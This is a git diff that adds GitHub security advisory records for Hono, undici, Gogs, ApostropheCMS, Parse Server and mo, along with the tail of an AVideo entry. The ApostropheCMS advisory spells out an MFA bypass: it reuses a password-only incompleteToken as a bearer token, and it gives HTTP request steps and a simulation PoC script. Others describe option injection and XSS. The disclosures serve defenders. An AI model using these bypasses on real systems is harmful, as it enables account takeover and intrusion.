"https://github.com/WWBN/AVideo/security/advisories/GHSA-v8jw-8w5p-23g3" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28502" + }, + { + "type": "WEB", + "url": "https://github.com/WWBN/AVideo/commit/b739aeeb9ce34aed9961d2c155d597810f8229db" + }, + { + "type": "PACKAGE", + "url": "https://github.com/WWBN/AVideo" + }, + { + "type": "WEB", + "url": "https://github.com/WWBN/AVideo/releases/tag/24.0" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-434" + ], + "severity": "CRITICAL", + "github_reviewed": true, + "github_reviewed_at": "2026-03-02T20:56:52Z", + "nvd_published_at": "2026-03-06T04:16:08Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/03/GHSA-v8w9-8mx6-g223/GHSA-v8w9-8mx6-g223.json b/advisories/github-reviewed/2026/03/GHSA-v8w9-8mx6-g223/GHSA-v8w9-8mx6-g223.json new file mode 100644 index 0000000000000..7403cf185ea18 --- /dev/null +++ b/advisories/github-reviewed/2026/03/GHSA-v8w9-8mx6-g223/GHSA-v8w9-8mx6-g223.json @@ -0,0 +1,59 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-v8w9-8mx6-g223", + "modified": "2026-03-11T00:31:47Z", + "published": "2026-03-11T00:31:47Z", + "aliases": [], + "summary": "Hono vulnerable to Prototype Pollution possible through __proto__ key allowed in parseBody({ dot: true })", + "details": "## Summary\n\nWhen using `parseBody({ dot: true })` in HonoRequest, specially crafted form field names such as `__proto__.x` could create objects containing a `__proto__` property.\n\nIf the parsed result is later merged into regular JavaScript objects using unsafe merge patterns, this may lead to prototype pollution in the target object.\n\n## Details\n\nThe `parseBody({ dot: true })` feature supports dot notation to construct nested objects from form field names.\n\nIn previous versions, the `__proto__` path segment was not filtered. As a result, specially crafted keys such as `__proto__.x` could produce objects containing `__proto__` properties.\n\nWhile this behavior does not directly modify `Object.prototype` within Hono itself, it may become exploitable if the parsed result is later merged into regular JavaScript objects using unsafe merge patterns.\n\n## Impact\n\nApplications that merge parsed form data into regular objects using unsafe patterns (for example recursive deep merge utilities) may become vulnerable to prototype pollution.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "npm", + "name": "hono" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "4.12.7" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/honojs/hono/security/advisories/GHSA-v8w9-8mx6-g223" + }, + { + "type": "WEB", + "url": "https://github.com/honojs/hono/commit/ef902257e0beacbb83d2a9549b3b83e03514a6fe" + }, + { + "type": "PACKAGE", + "url": "https://github.com/honojs/hono" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-1321" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2026-03-11T00:31:47Z", + "nvd_published_at": null + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/03/GHSA-v9p9-hfj2-hcw8/GHSA-v9p9-hfj2-hcw8.json b/advisories/github-reviewed/2026/03/GHSA-v9p9-hfj2-hcw8/GHSA-v9p9-hfj2-hcw8.json new file mode 100644 index 0000000000000..52886103c8ecf --- /dev/null +++ b/advisories/github-reviewed/2026/03/GHSA-v9p9-hfj2-hcw8/GHSA-v9p9-hfj2-hcw8.json @@ -0,0 +1,96 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-v9p9-hfj2-hcw8", + "modified": "2026-03-13T20:41:41Z", + "published": "2026-03-13T20:41:41Z", + "aliases": [ + "CVE-2026-2229" + ], + "summary": "Undici has Unhandled Exception in WebSocket Client Due to Invalid server_max_window_bits Validation", + "details": "### Impact\n\nThe undici WebSocket client is vulnerable to a denial-of-service attack due to improper validation of the `server_max_window_bits` parameter in the permessage-deflate extension. When a WebSocket client connects to a server, it automatically advertises support for permessage-deflate compression. A malicious server can respond with an out-of-range `server_max_window_bits` value (outside zlib's valid range of 8-15). When the server subsequently sends a compressed frame, the client attempts to create a zlib InflateRaw instance with the invalid windowBits value, causing a synchronous RangeError exception that is not caught, resulting in immediate process termination.\n\nThe vulnerability exists because:\n\n1. The `isValidClientWindowBits()` function only validates that the value contains ASCII digits, not that it falls within the valid range 8-15\n2. The `createInflateRaw()` call is not wrapped in a try-catch block\n3. The resulting exception propagates up through the call stack and crashes the Node.js process\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\n### Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" + } + ], + "affected": [ + { + "package": { + "ecosystem": "npm", + "name": "undici" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "6.24.0" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "npm", + "name": "undici" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "7.0.0" + }, + { + "fixed": "7.24.0" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/nodejs/undici/security/advisories/GHSA-v9p9-hfj2-hcw8" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2229" + }, + { + "type": "WEB", + "url": "https://hackerone.com/reports/3487486" + }, + { + "type": "WEB", + "url": "https://cna.openjsf.org/security-advisories.html" + }, + { + "type": "WEB", + "url": "https://datatracker.ietf.org/doc/html/rfc7692" + }, + { + "type": "PACKAGE", + "url": "https://github.com/nodejs/undici" + }, + { + "type": "WEB", + "url": "https://nodejs.org/api/zlib.html#class-zlibinflateraw" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-248" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2026-03-13T20:41:41Z", + "nvd_published_at": "2026-03-12T21:16:25Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/03/GHSA-v9vm-r24h-6rqm/GHSA-v9vm-r24h-6rqm.json b/advisories/github-reviewed/2026/03/GHSA-v9vm-r24h-6rqm/GHSA-v9vm-r24h-6rqm.json new file mode 100644 index 0000000000000..10af099fb4ff7 --- /dev/null +++ b/advisories/github-reviewed/2026/03/GHSA-v9vm-r24h-6rqm/GHSA-v9vm-r24h-6rqm.json @@ -0,0 +1,76 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-v9vm-r24h-6rqm", + "modified": "2026-03-05T22:28:40Z", + "published": "2026-03-05T19:29:44Z", + "aliases": [ + "CVE-2026-26194" + ], + "summary": "Gogs: Release tag option injection in release deletion", + "details": "### Summary\n\nThere is a security issue in Gogs where deleting a release can fail if a user-controlled tag name is passed to Git without the right separator, allowing Git option injection and therefore interfering with the process.\n\n### Affected Component\n\n - internal/database/release.go\n `process.ExecDir(..., \"git\", \"tag\", \"-d\", rel.TagName)`\n\n### Details\n\n `rel.TagName` is used as a CLI argument to `git tag -d` without `--` or `--end-of-options`.\n If the tag name begins with `-`, Git parses it as a flag.\n\n The prior mitigation is incomplete. There is path sanitization in place during creation:\n\n - internal/database/release.go\n `r.TagName = strings.TrimLeft(r.TagName, \"-\")`\n\n But it only covers one creation path and does not reliably protect tag deletions, such as tags added through `git push` or ref updates.\n\n**Exploit Conditions**\n1. An attacker can add a tag name that starts with a dash into the repository.\n2. A user with permission to delete releases triggers it through the web UI or API.\n\n### Recommended Fix\n\n1. Add end-of-options in release deletion:\n - `git tag -d -- `\n2. It is better to use the safe git-module deletion helper since it handles options properly.\n3. All Git commands should be audited for user input, ensuring that the end-of-options separator is always used.\n\n### Impact\n - Option injection into `git tag -d`\n - Tag/release deletion can fail or behave unexpectedly\n - Operational denial of service in release cleanup workflows\n - Potential release metadata inconsistency", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Go", + "name": "gogs.io/gogs" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "0.14.2" + } + ] + } + ], + "database_specific": { + "last_known_affected_version_range": "<= 0.14.1" + } + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/gogs/gogs/security/advisories/GHSA-v9vm-r24h-6rqm" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26194" + }, + { + "type": "WEB", + "url": "https://github.com/gogs/gogs/pull/8175" + }, + { + "type": "WEB", + "url": "https://github.com/gogs/gogs/commit/a000f0c7a632ada40e6829abdeea525db4c0fc2d" + }, + { + "type": "PACKAGE", + "url": "https://github.com/gogs/gogs" + }, + { + "type": "WEB", + "url": "https://github.com/gogs/gogs/releases/tag/v0.14.2" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-88" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2026-03-05T19:29:44Z", + "nvd_published_at": "2026-03-05T19:16:03Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/03/GHSA-v9xm-ffx2-7h35/GHSA-v9xm-ffx2-7h35.json b/advisories/github-reviewed/2026/03/GHSA-v9xm-ffx2-7h35/GHSA-v9xm-ffx2-7h35.json new file mode 100644 index 0000000000000..d8948689cdc94 --- /dev/null +++ b/advisories/github-reviewed/2026/03/GHSA-v9xm-ffx2-7h35/GHSA-v9xm-ffx2-7h35.json @@ -0,0 +1,61 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-v9xm-ffx2-7h35", + "modified": "2026-03-18T19:48:51Z", + "published": "2026-03-18T19:48:51Z", + "aliases": [ + "CVE-2026-32730" + ], + "summary": "ApostropheCMS MFA/TOTP Bypass via Incorrect MongoDB Query in Bearer Token Middleware", + "details": "# MFA/TOTP Bypass via Incorrect MongoDB Query in Bearer Token Middleware\n\n## Summary\n\nThe bearer token authentication middleware in `@apostrophecms/express/index.js` (lines 386-389) contains an incorrect MongoDB query that allows incomplete login tokens — where the password was verified but TOTP/MFA requirements were NOT — to be used as fully authenticated bearer tokens. This completely bypasses multi-factor authentication for any ApostropheCMS deployment using `@apostrophecms/login-totp` or any custom `afterPasswordVerified` login requirement.\n\n## Severity\n\nThe AC is High because the attacker must first obtain the victim's password. However, the entire purpose of MFA is to protect accounts when passwords are compromised (credential stuffing, phishing, database breaches), so this bypass negates the security control entirely.\n\n## Affected Versions\n\nAll versions of ApostropheCMS from 3.0.0 to 4.27.1, when used with `@apostrophecms/login-totp` or any custom `afterPasswordVerified` requirement.\n\n## Root Cause\n\nIn `packages/apostrophe/modules/@apostrophecms/express/index.js`, the `getBearer()` function (line 377) queries MongoDB for valid bearer tokens. The query at lines 386-389 is intended to only match tokens where the `requirementsToVerify` array is either absent (no MFA configured) or empty (all MFA requirements completed):\n\n```javascript\nasync function getBearer() {\n const bearer = await self.apos.login.bearerTokens.findOne({\n _id: req.token,\n expires: { $gte: new Date() },\n // requirementsToVerify array should be empty or inexistant\n // for the token to be usable to log in.\n $or: [\n { requirementsToVerify: { $exists: false } },\n { requirementsToVerify: { $ne: [] } } // BUG\n ]\n });\n return bearer && bearer.userId;\n}\n```\n\nThe comment correctly states the intent: the array should be \"empty or inexistant.\" However, the MongoDB operator `$ne: []` matches documents where `requirementsToVerify` is **NOT** an empty array — meaning it matches tokens that still have **unverified requirements**. This is the exact opposite of the intended behavior.\n\n| Token State | `requirementsToVerify` | `$ne: []` result | Should match? |\n|---|---|---|---|\n| No MFA configured | *(field absent)* | N/A (`$exists: false` matches) | Yes |\n| TOTP pending | `[\"AposTotp\"]` | `true` (BUG!) | **No** |\n| All verified | `[]` | `false` (BUG!) | **Yes** |\n| Field removed (`$unset`) | *(field absent)* | N/A (`$exists: false` matches) | Yes |\n\n## Attack Scenario\n\n### Prerequisites\n- ApostropheCMS instance with `@apostrophecms/login-totp` enabled\n- Attacker knows the victim's username and password (e.g., from credential stuffing, phishing, or a database breach)\n- Attacker does NOT know the victim's TOTP secret/code\n\n### Steps\n\n1. **Authenticate with password only:**\n ```\n POST /api/v1/@apostrophecms/login/login\n Content-Type: application/json\n\n {\"username\": \"admin\", \"password\": \"correct_password\", \"session\": false}\n ```\n\n2. **Receive incomplete token** (server correctly requires TOTP):\n ```json\n {\"incompleteToken\": \"clxxxxxxxxxxxxxxxxxxxxxxxxx\"}\n ```\n\n3. **Use incomplete token as bearer token** (bypassing TOTP):\n ```\n GET /api/v1/@apostrophecms/page\n Authorization: Bearer clxxxxxxxxxxxxxxxxxxxxxxxxx\n ```\n\n4. **Full authenticated access granted.** The bearer token middleware matches the token because `requirementsToVerify: [\"AposTotp\"]` satisfies `$ne: []`. The attacker has complete API access as the victim without ever providing a TOTP code.\n\n## Proof of Concept\n\nSee `mfa-bypass-poc.js` — demonstrates the query logic bug with all token states. Run:\n\n```bash\n#!/usr/bin/env node\n/**\n * PoC: MFA/TOTP Bypass via Incorrect MongoDB Query in Bearer Token Middleware\n *\n * ApostropheCMS's bearer token middleware in @apostrophecms/express/index.js\n * has a logic error in the MongoDB query that validates bearer tokens.\n *\n * The comment says:\n * \"requirementsToVerify array should be empty or inexistant\n * for the token to be usable to log in.\"\n *\n * But the actual query uses `$ne: []` (NOT equal to empty array),\n * which matches tokens WITH unverified requirements — the exact opposite\n * of the intended behavior.\n *\n * This allows an attacker who knows a user's password (but NOT their\n * TOTP code) to use the \"incompleteToken\" returned after password\n * verification as a fully authenticated bearer token, bypassing MFA.\n *\n * Affected: ApostropheCMS with @apostrophecms/login-totp (or any\n * custom afterPasswordVerified requirement)\n *\n * File: packages/apostrophe/modules/@apostrophecms/express/index.js:386-389\n */\n\nconst RED = '\\x1b[91m';\nconst GREEN = '\\x1b[92m';\nconst YELLOW = '\\x1b[93m';\nconst CYAN = '\\x1b[96m';\nconst RESET = '\\x1b[0m';\nconst BOLD = '\\x1b[1m';\n\n// Simulate MongoDB's $ne operator behavior\nfunction mongoNe(fieldValue, compareValue) {\n // MongoDB $ne: true if field value is NOT equal to compareValue\n // For arrays, MongoDB compares by value\n if (Array.isArray(fieldValue) && Array.isArray(compareValue)) {\n if (fieldValue.length !== compareValue.length) return true;\n return fieldValue.some((v, i) => v !== compareValue[i]);\n }\n return fieldValue !== compareValue;\n}\n\n// Simulate MongoDB's $exists operator\nfunction mongoExists(doc, field, shouldExist) {\n const exists = field in doc;\n return exists === shouldExist;\n}\n\n// Simulate MongoDB's $size operator\nfunction mongoSize(fieldValue, size) {\n if (!Array.isArray(fieldValue)) return false;\n return fieldValue.length === size;\n}\n\n// Simulate the VULNERABLE bearer token query (line 386-389)\nfunction vulnerableQuery(token) {\n // $or: [\n // { requirementsToVerify: { $exists: false } },\n // { requirementsToVerify: { $ne: [] } } <-- BUG\n // ]\n const cond1 = mongoExists(token, 'requirementsToVerify', false);\n const cond2 = ('requirementsToVerify' in token)\n ? mongoNe(token.requirementsToVerify, [])\n : false;\n return cond1 || cond2;\n}\n\n// Simulate the FIXED bearer token query\nfunction fixedQuery(token) {\n // $or: [\n // { requirementsToVerify: { $exists: false } },\n // { requirementsToVerify: { $size: 0 } } <-- FIX\n // ]\n const cond1 = mongoExists(token, 'requirementsToVerify', false);\n const cond2 = ('requirementsToVerify' in token)\n ? mongoSize(token.requirementsToVerify, 0)\n : false;\n return cond1 || cond2;\n}\n\nfunction banner() {\n console.log(`${CYAN}${BOLD}\n╔══════════════════════════════════════════════════════════════════╗\n║ ApostropheCMS MFA/TOTP Bypass PoC ║\n║ Bearer Token Middleware — Incorrect MongoDB Query ($ne vs $eq) ║\n║ @apostrophecms/express/index.js:386-389 ║\n╚══════════════════════════════════════════════════════════════════╝${RESET}\n`);\n}\n\nfunction test(name, token, expectedVuln, expectedFixed) {\n const vulnResult = vulnerableQuery(token);\n const fixedResult = fixedQuery(token);\n\n const vulnCorrect = vulnResult === expectedVuln;\n const fixedCorrect = fixedResult === expectedFixed;\n\n console.log(`${BOLD}${name}${RESET}`);\n console.log(` Token: ${JSON.stringify(token)}`);\n console.log(` Vulnerable query matches: ${vulnResult ? GREEN + 'YES' : RED + 'NO'}${RESET} (${vulnCorrect ? 'expected' : RED + 'UNEXPECTED!' + RESET})`);\n console.log(` Fixed query matches: ${fixedResult ? GREEN + 'YES' : RED + 'NO'}${RESET} (${fixedCorrect ? 'expected' : RED + 'UNEXPECTED!' + RESET})`);\n\n if (vulnResult && !fixedResult) {\n console.log(` ${RED}=> BYPASS: Token accepted by vulnerable code but rejected by fix!${RESET}`);\n }\n console.log();\n return vulnResult && !fixedResult;\n}\n\n// ——— Main ———\nbanner();\nconst bypasses = [];\n\nconsole.log(`${BOLD}--- Token States During Login Flow ---${RESET}\\n`);\n\n// 1. Normal bearer token (no MFA configured)\n// Created by initialLogin when there are no lateRequirements\n// Token: { _id: \"xxx\", userId: \"yyy\", expires: Date }\n// No requirementsToVerify field at all\ntest(\n '[Token 1] Normal bearer token (no MFA) — should be ACCEPTED',\n { _id: 'token1', userId: 'user1', expires: new Date(Date.now() + 86400000) },\n true, // vulnerable: accepted (correct)\n true // fixed: accepted (correct)\n);\n\n// 2. Incomplete token — password verified, TOTP NOT verified\n// Created by initialLogin when lateRequirements exist\n// Token: { _id: \"xxx\", userId: \"yyy\", requirementsToVerify: [\"AposTotp\"], expires: Date }\nconst bypass1 = test(\n '[Token 2] Incomplete token (TOTP NOT verified) — should be REJECTED',\n { _id: 'token2', userId: 'user2', requirementsToVerify: ['AposTotp'], expires: new Date(Date.now() + 3600000) },\n true, // vulnerable: ACCEPTED (BUG! $ne:[] matches ['AposTotp'])\n false // fixed: rejected (correct)\n);\nif (bypass1) bypasses.push('TOTP bypass');\n\n// 3. Token after all requirements verified (empty array, before $unset)\n// After requirementVerify pulls each requirement from the array\n// Token: { _id: \"xxx\", userId: \"yyy\", requirementsToVerify: [], expires: Date }\ntest(\n '[Token 3] All requirements verified (empty array) — should be ACCEPTED',\n { _id: 'token3', userId: 'user3', requirementsToVerify: [], expires: new Date(Date.now() + 86400000) },\n false, // vulnerable: REJECTED (BUG! $ne:[] does NOT match [])\n true // fixed: accepted (correct)\n);\n\n// 4. Finalized token (requirementsToVerify removed via $unset)\n// After finalizeIncompleteLogin calls $unset\n// Token: { _id: \"xxx\", userId: \"yyy\", expires: Date }\ntest(\n '[Token 4] Finalized token ($unset completed) — should be ACCEPTED',\n { _id: 'token4', userId: 'user4', expires: new Date(Date.now() + 86400000) },\n true, // vulnerable: accepted (correct)\n true // fixed: accepted (correct)\n);\n\n// 5. Multiple unverified requirements\nconst bypass2 = test(\n '[Token 5] Multiple unverified requirements — should be REJECTED',\n { _id: 'token5', userId: 'user5', requirementsToVerify: ['AposTotp', 'CustomMFA'], expires: new Date(Date.now() + 3600000) },\n true, // vulnerable: ACCEPTED (BUG!)\n false // fixed: rejected (correct)\n);\nif (bypass2) bypasses.push('Multi-requirement bypass');\n\n// Attack scenario\nconsole.log(`${BOLD}--- Attack Scenario ---${RESET}\\n`);\nconsole.log(` ${YELLOW}Prerequisites:${RESET}`);\nconsole.log(` - ApostropheCMS instance with @apostrophecms/login-totp enabled`);\nconsole.log(` - Attacker knows victim's username and password`);\nconsole.log(` - Attacker does NOT know victim's TOTP code\\n`);\n\nconsole.log(` ${YELLOW}Step 1:${RESET} Attacker sends login request with valid credentials`);\nconsole.log(` POST /api/v1/@apostrophecms/login/login`);\nconsole.log(` {\"username\": \"admin\", \"password\": \"correct_password\", \"session\": false}\\n`);\n\nconsole.log(` ${YELLOW}Step 2:${RESET} Server verifies password, returns incomplete token`);\nconsole.log(` Response: {\"incompleteToken\": \"clxxxxxxxxxxxxxxxxxxxxxxxxx\"}`);\nconsole.log(` (TOTP verification still required)\\n`);\n\nconsole.log(` ${YELLOW}Step 3:${RESET} Attacker uses incompleteToken as a Bearer token`);\nconsole.log(` GET /api/v1/@apostrophecms/page`);\nconsole.log(` Authorization: Bearer clxxxxxxxxxxxxxxxxxxxxxxxxx\\n`);\n\nconsole.log(` ${YELLOW}Step 4:${RESET} Bearer token middleware runs getBearer() query`);\nconsole.log(` MongoDB query: {`);\nconsole.log(` _id: \"clxxxxxxxxxxxxxxxxxxxxxxxxx\",`);\nconsole.log(` expires: { $gte: new Date() },`);\nconsole.log(` $or: [`);\nconsole.log(` { requirementsToVerify: { $exists: false } },`);\nconsole.log(` { requirementsToVerify: { ${RED}$ne: []${RESET} } } // BUG!`);\nconsole.log(` ]`);\nconsole.log(` }`);\nconsole.log(` The token has requirementsToVerify: [\"AposTotp\"]`);\nconsole.log(` $ne: [] matches because [\"AposTotp\"] !== []\\n`);\n\nconsole.log(` ${RED}Step 5: Attacker is fully authenticated as the victim!${RESET}`);\nconsole.log(` req.user is set, req.csrfExempt = true`);\nconsole.log(` Full API access without TOTP verification\\n`);\n\n// Summary\nconsole.log(`${BOLD}${'='.repeat(64)}`);\nconsole.log(`Summary`);\nconsole.log(`${'='.repeat(64)}${RESET}`);\nconsole.log(` ${bypasses.length} bypass vector(s) confirmed: ${bypasses.join(', ')}\\n`);\nconsole.log(` ${YELLOW}Root Cause:${RESET} @apostrophecms/express/index.js line 388`);\nconsole.log(` The MongoDB query uses $ne: [] which matches NON-empty arrays.`);\nconsole.log(` The comment says the array should be \"empty or inexistant\",`);\nconsole.log(` but $ne: [] matches exactly the opposite — non-empty arrays.\\n`);\nconsole.log(` ${YELLOW}Vulnerable code:${RESET}`);\nconsole.log(` $or: [`);\nconsole.log(` { requirementsToVerify: { $exists: false } },`);\nconsole.log(` { requirementsToVerify: { $ne: [] } } // BUG`);\nconsole.log(` ]\\n`);\nconsole.log(` ${YELLOW}Fixed code:${RESET}`);\nconsole.log(` $or: [`);\nconsole.log(` { requirementsToVerify: { $exists: false } },`);\nconsole.log(` { requirementsToVerify: { $size: 0 } } // FIX`);\nconsole.log(` ]\\n`);\nconsole.log(` ${RED}Impact:${RESET} Complete MFA bypass. An attacker who knows a user's`);\nconsole.log(` password can skip TOTP verification and gain full authenticated`);\nconsole.log(` API access by using the incompleteToken as a bearer token.\\n`);\nconsole.log(` ${YELLOW}Additional Bug:${RESET} The same $ne:[] also causes a secondary`);\nconsole.log(` issue where tokens with ALL requirements verified (empty array,`);\nconsole.log(` before the $unset runs) are incorrectly REJECTED. This is masked`);\nconsole.log(` by the fact that finalizeIncompleteLogin uses $unset to remove`);\nconsole.log(` the field entirely, so the $exists: false path is used instead.`);\nconsole.log();\nconsole.log();\n\n```\n\nBoth bypass vectors (single and multiple unverified requirements) confirmed.\n\n## Amplifying Bug: Incorrect Token Deletion in `finalizeIncompleteLogin`\n\nA second bug in `@apostrophecms/login/index.js` (lines 728-729, 735-736) amplifies the MFA bypass. When `finalizeIncompleteLogin` attempts to delete the incomplete token, it uses the wrong identifier:\n\n```javascript\nawait self.bearerTokens.removeOne({\n _id: token.userId // BUG: should be token._id\n});\n```\n\nThe token's `_id` is a CUID (e.g., `clxxxxxxxxx`), but `token.userId` is the user's document ID. This means:\n\n1. The incomplete token is **never deleted** from the database, even after a legitimate MFA-verified login\n2. Combined with the `$ne: []` bug, the incomplete token remains usable as a bearer token for its full lifetime (default: 1 hour)\n3. Even if the legitimate user completes TOTP and logs in properly, the incomplete token persists\n\nThis bug appears at two locations in `finalizeIncompleteLogin`:\n- Line 728-729: Error case (user not found)\n- Line 735-736: Success case (session-based login after MFA)\n\n## Recommended Fix\n\n### Fix 1: Bearer token query (express/index.js line 388)\n\nReplace `$ne: []` with `$size: 0`:\n\n```javascript\n$or: [\n { requirementsToVerify: { $exists: false } },\n { requirementsToVerify: { $size: 0 } } // FIX: match empty array only\n]\n```\n\nThis ensures only tokens with no remaining requirements (empty array or absent field) are accepted as valid bearer tokens.\n\n### Fix 2: Token deletion (login/index.js lines 728-729, 735-736)\n\nReplace `token.userId` with `token._id`:\n\n```javascript\nawait self.bearerTokens.removeOne({\n _id: token._id // FIX: use the token's actual ID\n});\n```", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H" + } + ], + "affected": [ + { + "package": { + "ecosystem": "npm", + "name": "apostrophe" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "4.28.0" + } + ] + } + ], + "database_specific": { + "last_known_affected_version_range": "<= 4.27.1" + } + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-v9xm-ffx2-7h35" + }, + { + "type": "PACKAGE", + "url": "https://github.com/apostrophecms/apostrophe" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-287", + "CWE-305" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2026-03-18T19:48:51Z", + "nvd_published_at": null + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/03/GHSA-vc89-5g3r-cmhh/GHSA-vc89-5g3r-cmhh.json b/advisories/github-reviewed/2026/03/GHSA-vc89-5g3r-cmhh/GHSA-vc89-5g3r-cmhh.json new file mode 100644 index 0000000000000..2cf7746af0460 --- /dev/null +++ b/advisories/github-reviewed/2026/03/GHSA-vc89-5g3r-cmhh/GHSA-vc89-5g3r-cmhh.json @@ -0,0 +1,94 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-vc89-5g3r-cmhh", + "modified": "2026-03-06T22:51:35Z", + "published": "2026-03-05T00:33:18Z", + "aliases": [ + "CVE-2026-29182" + ], + "summary": "Parse Server's Cloud Hooks and Cloud Jobs bypass `readOnlyMasterKey` write restriction", + "details": "### Impact\n\nParse Server's `readOnlyMasterKey` option allows access with master-level read privileges but is documented to deny all write operations. However, some endpoints incorrectly accept the `readOnlyMasterKey` for mutating operations. This allows a caller who only holds the `readOnlyMasterKey` to create, modify, and delete Cloud Hooks and to start Cloud Jobs, which can be used for data exfiltration.\n\nAny Parse Server deployment that uses the `readOnlyMasterKey` option is affected. Note than an attacker needs to know the `readOnlyMasterKey` to exploit this vulnerability.\n\n### Patches\n\nThe fix adds authorization checks, rejecting mutating requests made with the `readOnlyMasterKey`.\n\n### Workarounds\n\nThere is no known workaround other than upgrading. If upgrading is not immediately possible, ensure the `readOnlyMasterKey` value is not shared with untrusted parties.\n\n### Resources\n\n- GitHub security advisory: https://github.com/parse-community/parse-server/security/advisories/GHSA-vc89-5g3r-cmhh\n- Fixed in Parse Server 9.4.1-alpha.3: https://github.com/parse-community/parse-server/releases/tag/9.4.1-alpha.3\n- Fixed in Parse Server 8.6.4: https://github.com/parse-community/parse-server/releases/tag/8.6.4", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "npm", + "name": "parse-server" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "9.0.0" + }, + { + "fixed": "9.4.1-alpha.3" + } + ] + } + ], + "database_specific": { + "last_known_affected_version_range": "<= 9.4.1-alpha.2" + } + }, + { + "package": { + "ecosystem": "npm", + "name": "parse-server" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "8.6.4" + } + ] + } + ], + "database_specific": { + "last_known_affected_version_range": "<= 8.6.3" + } + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/parse-community/parse-server/security/advisories/GHSA-vc89-5g3r-cmhh" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-29182" + }, + { + "type": "PACKAGE", + "url": "https://github.com/parse-community/parse-server" + }, + { + "type": "WEB", + "url": "https://github.com/parse-community/parse-server/releases/tag/8.6.4" + }, + { + "type": "WEB", + "url": "https://github.com/parse-community/parse-server/releases/tag/9.4.1-alpha.3" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-863" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2026-03-05T00:33:18Z", + "nvd_published_at": "2026-03-06T21:16:15Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/03/GHSA-vccx-p757-pv6h/GHSA-vccx-p757-pv6h.json b/advisories/github-reviewed/2026/03/GHSA-vccx-p757-pv6h/GHSA-vccx-p757-pv6h.json new file mode 100644 index 0000000000000..b6b037dc8577a --- /dev/null +++ b/advisories/github-reviewed/2026/03/GHSA-vccx-p757-pv6h/GHSA-vccx-p757-pv6h.json @@ -0,0 +1,58 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-vccx-p757-pv6h", + "modified": "2026-03-18T20:17:12Z", + "published": "2026-03-18T20:17:12Z", + "aliases": [], + "summary": "mo has a XSS via inline SVG script tags in Markdown rendering", + "details": "### Summary\n\nWhen rendering Markdown files containing inline SVG elements with `\n```\n\nEmbedding the above in a Markdown file opened with mo causes the script to execute.\n\n### Impact\n\nArbitrary JavaScript execution in the context of the mo application when a user opens a malicious Markdown file. This could lead to data exfiltration of other opened Markdown file contents.\n\n### Remediation\n\nFixed by adding `rehype-sanitize` to the Markdown rendering pipeline, which strips dangerous elements such as `